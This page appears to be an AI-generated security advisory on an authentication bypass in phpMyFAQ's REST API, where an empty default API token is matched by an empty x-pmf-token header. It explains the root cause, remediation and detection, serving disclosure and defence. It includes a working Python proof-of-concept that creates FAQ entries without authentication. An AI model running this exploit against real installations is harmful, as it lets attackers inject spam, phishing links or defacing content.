CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GP95-J463-VV28

GHSA-GP95-J463-VV28: Authentication Bypass via Insecure Default Token in phpMyFAQ REST API

Alon Barad
Alon Barad
Software Engineer

May 20, 2026·6 min read·13 visits

Executive Summary (TL;DR)

An insecure default configuration in phpMyFAQ versions prior to 4.1.3 initializes the REST API token to an empty string. Unauthenticated attackers can bypass authentication and inject arbitrary content by supplying an empty `x-pmf-token` HTTP header.

phpMyFAQ contains an authentication bypass vulnerability within its REST API architecture introduced in version 4.0. The vulnerability stems from insecure default initialization of the API client token to an empty string, coupled with flawed comparative logic in the authentication controller. This allows unauthenticated remote attackers to bypass authorization checks and interact with administrative API endpoints.

Vulnerability Overview

phpMyFAQ introduced a comprehensive REST API architecture in version 4.0, designed to facilitate remote administration and content management. This architectural shift exposed several administrative endpoints that handle the creation and modification of knowledge base data. The vulnerability, classified under CWE-1188 (Insecure Default Variable Initialization), resides within the authorization layer protecting these new interfaces.

The application relies on a centralized controller method to authorize incoming API requests based on a pre-configured static client token. During the initial application setup process, the default data seeder initializes this configuration value using an empty string. The combination of this empty default value and a logical oversight in the token validation routine creates a deterministic bypass condition.

An attacker can exploit this condition remotely without prior authentication or administrative privileges. The attack surface encompasses all REST endpoints that rely exclusively on the flawed validation routine. These endpoints govern the creation of FAQ entries, category management, and question submissions.

The exploitation of this vulnerability directly impacts system integrity. The assigned CVSS v3.1 vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N, reflecting the high integrity impact and the low complexity required to execute the attack.

Technical Root Cause Analysis

The vulnerability is a direct consequence of two interacting flaws within the phpMyFAQ codebase: insecure default configuration and flawed comparative logic. During the application initialization phase, the DefaultDataSeeder.php script populates the configuration database. Within this script, the api.apiClientToken key is explicitly assigned an empty string value by default.

// src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php
'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // Insecure default state

The second component of the vulnerability exists within the application's API authorization layer. The REST API relies on a central authentication check implemented in the AbstractController class. The method hasValidToken() retrieves the value of the x-pmf-token header from the incoming HTTP request and compares it against the application's configured api.apiClientToken.

// src/phpMyFAQ/Controller/AbstractController.php
protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The vulnerability manifests when the application evaluates the conditional statement using the strict inequality operator (!==). Because the default configuration stores an empty string, an attacker supplying an empty string in the x-pmf-token header causes the comparison to evaluate as '' !== ''. This expression returns false, preventing the UnauthorizedHttpException from being thrown.

Consequently, the application treats the unauthenticated request as fully authorized. The request context successfully traverses the authentication middleware, and execution proceeds directly to the targeted endpoint controller logic.

Attack Vectors and Exploitation

Exploitation requires network access to the target host and a phpMyFAQ installation running a vulnerable version with the API enabled and default token configured. No specific server configurations or active user sessions are required to fulfill the exploitation prerequisites. The attacker interacts directly with the REST API endpoints using standard HTTP requests.

The attack methodology involves crafting an HTTP POST or PUT request targeting one of the vulnerable endpoints, such as /api/v4.0/faq/create. The critical component of this request is the inclusion of the x-pmf-token header with an empty value. Providing this empty header manipulates the conditional logic inside hasValidToken() as previously detailed.

import urllib.request
import json
 
TARGET_URL = "http://<target-phpmyfaq-host>"
API_ENDPOINT = f"{TARGET_URL}/api/v4.0/faq/create"
 
# The empty header is the core exploit mechanism
HEADERS = {
    "Content-Type": "application/json",
    "x-pmf-token": ""
}
 
PAYLOAD = {
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This entry was created by an unauthenticated user exploiting GHSA-GP95-J463-VV28.",
    "keywords": "security,poc,bypass",
    "author": "Security Researcher",
    "email": "researcher@example.com",
    "is-active": True,
    "is-sticky": False
}
 
def exploit():
    data = json.dumps(PAYLOAD).encode('utf-8')
    req = urllib.request.Request(API_ENDPOINT, data=data, headers=HEADERS, method="POST")
    try:
        with urllib.request.urlopen(req) as response:
            if response.status == 201:
                print(f"[*] Success! HTTP {response.status}: FAQ Created via bypass.")
    except Exception as e:
        print(f"[!] Error: {e}")
 
exploit()

A successful exploit bypasses the authorization layer and processes the supplied JSON payload. The server responds with an HTTP 201 Created status, indicating the payload was successfully committed to the backing database. The attacker can repeat this process to modify categories, submit questions, or update existing FAQ content at will.

Impact Assessment

The primary consequence of this vulnerability is a complete loss of integrity over the knowledge base content. Because the vulnerable endpoints manage the core data entities of the application, an unauthenticated attacker assumes defacto administrative control over public-facing information. The attacker can programmatically insert, modify, or corrupt FAQ entries without restriction.

This level of access enables several distinct abuse scenarios. Attackers can execute automated campaigns to flood the database with SEO spam, degrading the platform's utility and consuming storage resources. Furthermore, attackers can alter existing, trusted answers to redirect users to malicious domains or distribute convincing phishing materials.

The vulnerability does not directly expose database credentials, configuration files, or underlying operating system resources. The confidentiality impact is assessed as none, as the affected endpoints do not return sensitive administrative data beyond the expected JSON confirmation responses. System availability remains largely unaffected unless the attacker intentionally exhausts database storage limits.

Secondary exploitation paths may emerge depending on the application's content rendering configuration. If the application processes injected FAQ content without sufficient output encoding, attackers could leverage this authorization bypass to deploy persistent Cross-Site Scripting (XSS) payloads targeting administrators who view the corrupted entries via the administrative dashboard.

Remediation and Mitigation

The most effective remediation strategy is upgrading the phpMyFAQ installation to version 4.1.3 or later. The patch corrects the insecure default data seeder, ensuring newly provisioned instances possess robust, non-empty initial configuration values. Furthermore, the AbstractController logic was updated to validate string length and explicitly reject empty authorization headers regardless of the underlying configuration state.

Administrators operating vulnerable versions who cannot immediately deploy the patch must implement manual configuration changes. Logging into the administrative control panel and navigating to the API settings allows the definition of a cryptographically secure, non-empty API client token. Once populated, the application logic will accurately reject incoming requests carrying empty headers.

If the REST API functionality is not utilized for operational workflows, administrators should disable the API architecture entirely. This architectural mitigation eliminates the attack surface, rendering the underlying token validation logic inaccessible to remote attackers.

Security engineers can detect exploitation attempts by inspecting reverse proxy or web server access logs. The logs should be queried for HTTP POST or PUT methods targeting URIs matching the /api/v4.0/ pattern. While standard access logs typically do not capture header values, high volumes of unauthenticated POST requests from untrusted network spaces strongly indicate exploitation activity.

Official Patches

phpMyFAQMain Project Repository

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Affected Systems

phpMyFAQ REST API v4.0phpMyFAQ Core Backend

Affected Versions Detail

Product
Affected Versions
Fixed Version
phpMyFAQ
thorsten
>= 4.0.0, < 4.1.34.1.3
AttributeDetail
Vulnerability TypeAuthentication Bypass
CWE IDCWE-1188
CVSS Base Score7.5
Attack VectorNetwork
Authentication RequiredNone
Integrity ImpactHigh
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1133External Remote Services
Initial Access
CWE-1188
Insecure Default Initialization of Resource

The software does not initialize a resource or variable to a safe default before using it, leaving it in an insecure state.

Known Exploits & Detection

Research ContextPython PoC script demonstrating authentication bypass by supplying an empty x-pmf-token header.

Vulnerability Timeline

Vulnerability details published via GitHub Advisory Database
2026-05-20
Fix released in phpMyFAQ version 4.1.3
2026-05-20
Public disclosure of technical root cause and PoC
2026-05-20

References & Sources

  • [1]GitHub Advisory Database: GHSA-GP95-J463-VV28
  • [2]phpMyFAQ GitHub Repository
  • [3]OSV Record for GHSA-GP95-J463-VV28

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-C9XM-49CP-XCR9
6.3

GHSA-C9XM-49CP-XCR9: Server-Side Request Forgery in rmcp OAuth Client

A Server-Side Request Forgery (SSRF) vulnerability exists in the rmcp OAuth client, which is part of the Model Context Protocol (MCP) Rust SDK. The vulnerability arises from insecure processing of the resource_metadata parameter in WWW-Authenticate headers returned by a malicious or compromised MCP server. The client parses and fetches absolute URLs from this header without validation of scheme, origin, or network routing, allowing remote attackers to initiate HTTP GET requests to local network interfaces, RFC 1918 private subnets, or cloud metadata endpoints.

Alon Barad
Alon Barad
3 views•6 min read
•about 6 hours ago•CVE-2026-92945
4.2

CVE-2026-92945: Sandbox Escape and Module Allowlist Bypass via Path Prefix Matching in vm2

A module allowlist bypass vulnerability (CVE-2026-92945 / GHSA-7q3f-wx44-378m) was identified in the vm2 sandboxing library prior to version 3.11.7. This flaw permits unauthenticated or untrusted code running within the sandbox environment to bypass explicit module restrictions. When the transitive resolution option is disabled, the system fails to validate file system path boundaries, allowing prefix-sharing sibling directories to be resolved and loaded, thereby escaping intended sandbox restrictions.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 7 hours ago•CVE-2026-92941
10.0

CVE-2026-92941: Sandbox Escape and Process-Wide TLS Trust Store Manipulation in vm2

CVE-2026-92941 is a critical sandbox-escape and trust-manipulation vulnerability in the vm2 library (versions 3.11.3 to 3.11.6). This security flaw allows untrusted code executing within a NodeVM sandbox environment to compromise the global TLS trust store of the host Node.js process. By leveraging a design flaw where the host's native 'tls.setDefaultCACertificates' can be executed via a proxy wrapper, combined with a bridge unwrapping bypass in the 'url' module, an attacker can modify the process-wide default root Certificate Authorities. Consequently, all subsequent outbound TLS/HTTPS clients running on the host thread are forced to trust attacker-signed certificates, facilitating transparent Man-in-the-Middle (MitM) attacks. The vulnerability was resolved in version 3.11.7 of vm2 by introducing built-in member-level sanitization before applying read-only proxy wrappers.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 8 hours ago•CVE-2026-92944
9.8

CVE-2026-92944: Sandbox Escape in vm2 via Stale V8 PromiseThenLookupChain Protector

A critical engine-level reachability failure in Node.js 26 running V8 14.6 allows attackers to escape the vm2 sandbox environment. When consecutive prototype properties are modified using sequential assignments, a V8 optimization bug fails to invalidate the PromiseThenLookupChain protector. By calling Promise.prototype.finally, the attacker bypasses the vm2 wrappers, hijacks the promise reaction using a custom constructor, triggers a calibrated stack overflow to capture a host-realm RangeError, and executes arbitrary shell commands on the host.

Alon Barad
Alon Barad
7 views•8 min read
•about 9 hours ago•CVE-2026-92939
9.9

CVE-2026-92939: Critical Sandbox Escape via Host Crypto setEngine Native Code Execution in vm2

A critical sandbox escape vulnerability in the vm2 library allows sandboxed JavaScript code to bypass containment and execute arbitrary native code on the host process. This occurs when the host's builtin crypto module is exposed to the NodeVM environment. Although vm2 implements a read-only proxy layer to restrict direct modifications to host properties, it does not prevent invocation of host-level functions. By calling the crypto.setEngine API with a path to a malicious native library on disk, an attacker can trigger OpenSSL's dynamic module loader. The host's operating system loader immediately runs the dynamic library's initializers/constructors before verifying engine compatibility, leading to remote code execution in the context of the host process.

Amit Schendel
Amit Schendel
6 views•5 min read
•about 10 hours ago•CVE-2026-92938
9.9

CVE-2026-92938: Remote Code Execution in vm2 via node:sqlite DatabaseSync Sandbox Escape

CVE-2026-92938 is a critical sandbox escape vulnerability in the vm2 library (versions 3.11.3 through 3.11.6) that allows arbitrary native code execution on the host when the node:sqlite built-in module is loaded inside a sandboxed NodeVM environment.

Amit Schendel
Amit Schendel
8 views•8 min read